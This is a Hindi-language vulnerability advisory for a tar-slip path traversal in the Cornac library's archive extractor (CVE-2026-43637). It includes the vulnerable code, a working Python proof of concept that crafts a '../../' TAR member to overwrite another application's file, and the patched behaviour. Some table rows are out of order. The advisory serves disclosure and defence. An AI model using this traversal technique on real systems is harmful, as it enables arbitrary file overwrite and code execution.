
Cornac में _extract_archive के माध्यम से पाथ ट्रैवर्सल (Tar Slip) (CVE-2026-43637)
गंभीरता: उच्च, CVSS 4.0 8.8, क्रिटिकल, CVSS 3.1 9.1(VulnCheck, CNA द्वारा निर्धारित)
वेक्टर (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
वेक्टर (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
प्रभावित: cornac < 2.6.0
समाधान: 2.6.0
CWE: CWE-22 (पाथनाम को प्रतिबंधित निर्देशिका तक सीमित करने की अनुचित सीमा, 'पाथ ट्रैवर्सल')
रिपोर्टकर्ता: राहुल करने और भरत कुमार रेड्डी जनुमपल्ली
CNA: VulnCheck
प्रकाशित: 15 जुलाई, 2026
Cornac के डेटासेट लोडर स्वचालित रूप से आर्काइव डाउनलोड और अनपैक करते हैं, और अनपैकर ने आर्काइव के अंदर हर पाथ पर भरोसा किया।
Cornac रिकमेंडर सिस्टम के लिए एक मशीन-लर्निंग फ्रेमवर्क है। इसके बिल्ट-इन डेटासेट लोडर नेटवर्क से आर्काइव लाते हैं और बिना किसी पुष्टि चरण के उन्हें एक्सट्रैक्ट करते हैं। cornac/utils/download.py में एक्सट्रैक्शन रूटीन _extract_archive() बिना किसी सदस्य पाथ सत्यापन के archive.extractall() को कॉल करती है। इसलिए, एक TAR आर्काइव जिसके सदस्यों में ../ अनुक्रम, निरपेक्ष पाथ, या सिमलिंक और हार्डलिंक प्रविष्टियाँ होती हैं, फाइलों को फाइलसिस्टम पर मनमाने स्थानों पर लिखता है — जहाँ भी चल रही प्रक्रिया लिख सकती है, पूरी तरह इच्छित कैश निर्देशिका के बाहर। कई लोडर सादे HTTP पर डाउनलोड करते हैं, इसलिए नेटवर्क पर स्थित हमलावर ट्रांज़िट में दुर्भावनापूर्ण आर्काइव बदल सकता है और लोडर कॉल होते ही उसे एक्सट्रैक्ट करवा सकता है।
पूरी तरह से हमलावर-नियंत्रित पाथ और सामग्री के साथ मनमाना फाइल लेखन, जो केवल Cornac चलाने वाली प्रक्रिया की अनुमतियों द्वारा सीमित है। यह एक राइट प्रिमिटिव है, रीड नहीं, इसलिए कोई सीधा प्रकटीकरण नहीं होता, लेकिन मनमाना फाइल लेखन कोड निष्पादन और सेवा अस्वीकरण का एक सुस्थापित मार्ग है:
site-packages में .py फाइल, शेल स्टार्टअप फाइल, या शेड्यूल्ड-टास्क प्रविष्टि को ओवरराइट करने से हमलावर का कोड अगले इम्पोर्ट, शेल या जॉब पर चल जाता है।कौन प्रभावित है: cornac < 2.6.0 का कोई भी उपयोग जो ऐसे डेटासेट लोडर को कॉल करता है जो हमलावर द्वारा नियंत्रित या इंटरसेप्ट किए जा सकने वाले आर्काइव को डाउनलोड और एक्सट्रैक्ट करता है। चूँकि लोडर स्वचालित रूप से एक्सट्रैक्ट करते हैं, सामान्य लोडर कॉल से परे किसी अतिरिक्त चरण की आवश्यकता नहीं है।
कौन प्रभावित नहीं है:
2.6.0 या उसके बाद के संस्करण पर चलने वाले सभी, जहाँ एक्सट्रैक्शन हर सदस्य पाथ को सत्यापित करता है।| मीट्रिक | मान | स्रोत |
|---|---|---|
| डाउनलोड, अब तक | 4.1M | pepy.tech/projects/cornac |
cornac/utils/download.py में _extract_archive() ZIP और TAR दोनों इनपुट को एक ही कोड पथ से एक्सट्रैक्ट करता है और, TAR मामले में, बिना किसी पाथ जाँच के extractall() को कॉल करता है:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
सदस्य नामों को कुछ भी प्रतिबंधित नहीं करता, इसलिए ../../somewhere/file नामक सदस्य extract_path के बाहर रिज़ॉल्व होता है और वहीं लिख दिया जाता है।
लोडर कॉल से यह कॉल श्रृंखला पूरी तरह स्वचालित है:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
Python का zipfile एक्सट्रैक्शन के दौरान ../ अनुक्रमों को सैनिटाइज़ करता है, इसलिए इसी फ़ंक्शन की ZIP शाखा आधुनिक Python पर शोषणीय नहीं है। Python का tarfile सदस्य पाथ को सैनिटाइज़ नहीं करता (3.12 से पहले, और उसके बाद केवल स्पष्ट फ़िल्टर के साथ)। चूँकि Cornac दोनों प्रारूपों को समान extractall() कॉल से चलाता है, ZIP शाखा सुरक्षित है और TAR शाखा उन्हीं पंक्तियों के माध्यम से पूरी तरह शोषणीय है। यह विषमता ठीक इसलिए आसानी से छूट जाती है क्योंकि कोड दोनों प्रारूपों में एकसमान दिखता है।
Cornac urllib.request.urlretrieve() से डाउनलोड करता है, बिना सर्टिफिकेट पिनिंग और बिना आर्काइव अखंडता जाँच के, और कई बिल्ट-इन लोडर http:// URL का उपयोग करते हैं। नेटवर्क पर स्थित हमलावर सादे-HTTP डाउनलोड को इंटरसेप्ट कर सकता है और अपस्ट्रीम सर्वर से समझौता किए बिना दुर्भावनापूर्ण TAR लौटा सकता है, यही कारण है कि वेक्टर रिमोट है और लोडर कॉल से परे किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है।
हमलावर को आवश्यकता है:
< 2.6.0 का उपयोग करने वाला एक लक्ष्य।लक्ष्य पर कोई विशेषाधिकार और लोडर कॉल से परे किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है।
निम्नलिखित को Cornac के स्वयं के _extract_archive को सीधे कॉल करके वास्तविक, अपरिवर्तित पैकेज पर चलाया गया।
संवेदनशील संस्करण (2.3.5)। ../../ सदस्य वाला TAR कैश निर्देशिका में एक्सट्रैक्ट किया जाता है; सदस्य उस निर्देशिका के बाहर पहुँचता है और एक अलग एप्लिकेशन की फाइल को ओवरराइट कर देता है:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
सत्यापित परिणाम:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
सामान्य सदस्य अपेक्षा अनुसार कैश के अंदर लिखा गया; ../../ सदस्य अलग एप्लिकेशन की निर्देशिका में लिखा गया, और उस एप्लिकेशन को इम्पोर्ट करना अब विफल हो जाता है।
पूर्ण आक्रमण प्रदर्शन। इस रिपॉज़िटरी में poc_exploit.py पूरी श्रृंखला को एंड-टू-एंड चलाता है: एक हमलावर HTTP सर्वर दुर्भावनापूर्ण TAR वितरित करता है, Cornac के cache() और _extract_archive() कॉल श्रृंखला की प्रतिकृति बनाने वाला लोडर इसे एक ही load_feedback() कॉल से स्वचालित रूप से डाउनलोड और एक्सट्रैक्ट करता है, और एक अलग एप्लिकेशन की निर्देशिका में दो फाइलें ओवरराइट हो जाती हैं। संवेदनशील _extract_archive() को Cornac के स्रोत से यथावत उपयोग किया गया है।
पैच किया गया संस्करण (2.6.0)। वही ट्रैवर्सल आर्काइव कुछ भी लिखे जाने से पहले ही अस्वीकार कर दिया जाता है:
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
cornac 2.6.0 या उसके बाद के संस्करण में अपग्रेड करें:
pip install --upgrade "cornac>=2.6.0"
2.6.0 असुरक्षित extractall() को _safe_extract() हेल्पर से बदल देता है, जो प्रत्येक सदस्य पाथ को os.path.realpath से रिज़ॉल्व करता है और किसी भी ऐसे लक्ष्य को अस्वीकार करता है जो एक्सट्रैक्शन निर्देशिका के भीतर नहीं रहता, तथा केवल नियमित फाइलों और निर्देशिकाओं की अनुमति देता है — सिमलिंक, हार्डलिंक और डिवाइस प्रविष्टियों को अवरुद्ध करता है।
यदि आप तुरंत अपग्रेड नहीं कर सकते: अविश्वसनीय या सादे-HTTP चैनलों पर डाउनलोड करने वाले डेटासेट लोडर को कॉल न करें, और उन स्रोतों से TAR आर्काइव एक्सट्रैक्ट न करें जिन्हें आप नियंत्रित नहीं करते। HTTPS पर डाउनलोड करने से ट्रांज़िट में इंटरसेप्शन का जोखिम कम होता है, लेकिन दुर्भावनापूर्ण या समझौता किए गए अपस्ट्रीम का जोखिम समाप्त नहीं होता।
VulnCheck (CNA) ने CVSS 4.0 के तहत 8.8 (उच्च) निर्धारित किया है (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N)।
AV:N: दुर्भावनापूर्ण आर्काइव नेटवर्क पर वितरित किया जाता है, और कई लोडर बिना अखंडता जाँच के सादे HTTP पर डाउनलोड करते हैं।AC:L: ट्रैवर्सल TAR बनाना तुच्छ है और आक्रमण हर बार निश्चित रूप से सफल होता है।PR:N: हमलावर को लक्ष्य पर किसी खाते या पैठ की आवश्यकता नहीं है।UI:N: लोडर स्वचालित रूप से डाउनलोड और एक्सट्रैक्ट करता है; एक ही लोडर कॉल बिना किसी पुष्टि चरण के पूरी श्रृंखला को ट्रिगर करती है।VC:N: प्रिमिटिव केवल-लेखन है, इसलिए कोई गोपनीयता प्रभाव दावा नहीं किया गया है।VI:H / VA:H: हमलावर लिखी गई सामग्री को पूरी तरह नियंत्रित करता है और प्रक्रिया द्वारा लिखी जा सकने वाली फाइलों को नष्ट कर सकता है, इसलिए प्रभावित सिस्टम की अखंडता और उपलब्धता उच्च है।SC:N / SI:N / SA:N: CNA ने प्रभाव को किसी भिन्न परवर्ती सिस्टम के बजाय संवेदनशील सिस्टम के अधिकार क्षेत्र तक सीमित माना है।CNA द्वारा निर्धारित 8.8 इस समस्या के लिए आधिकारिक मान है।
| तिथि | घटना |
|---|
राहुल करने (सुरक्षा शोधकर्ता और IEEE वरिष्ठ सदस्य) और भरत कुमार रेड्डी जनुमपल्ली द्वारा खोजा और रिपोर्ट किया गया, VulnCheck के माध्यम से समन्वित। राहुल के संबंधित प्रकटीकरणों में CVE-2026-65321 (PyAthena में SQL इंजेक्शन) और CVE-2026-63720 (datamodel-code-generator में कोड इंजेक्शन) शामिल हैं।
संपर्क: [email protected] · GitHub: rahulreddykarne
8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8मीडिया पूछताछ: [email protected]। पूर्ण PoC (हमलावर सर्वर, ट्रैवर्सल आर्काइव, पीड़ित एप्लिकेशन) और अतिरिक्त तकनीकी विवरण अनुरोध पर उपलब्ध हैं।
| डाउनलोड, पिछले 30 दिन | 67.8K | pepy.tech |
| सामान्य उपयोग | रिकमेंडर-सिस्टम अनुसंधान और शिक्षण; डेटासेट लोडर नेटवर्क पर स्वचालित रूप से डाउनलोड करते हैं, कुछ सादे HTTP पर | फ्रेमवर्क में निहित |
| 3 मई, 2026 | संवेदनशीलता की पहचान |
| 4 मई, 2026 | रिपोर्ट की गई (समन्वित प्रकटीकरण) |
| 14 जुलाई, 2026 | फिक्स मर्ज किया गया (PR #709, कमिट 8a50be7) |
| 15 जुलाई, 2026 | पैच किया गया संस्करण 2.6.0 जारी |
| 15 जुलाई, 2026 | CVE-2026-43637 VulnCheck द्वारा प्रकाशित |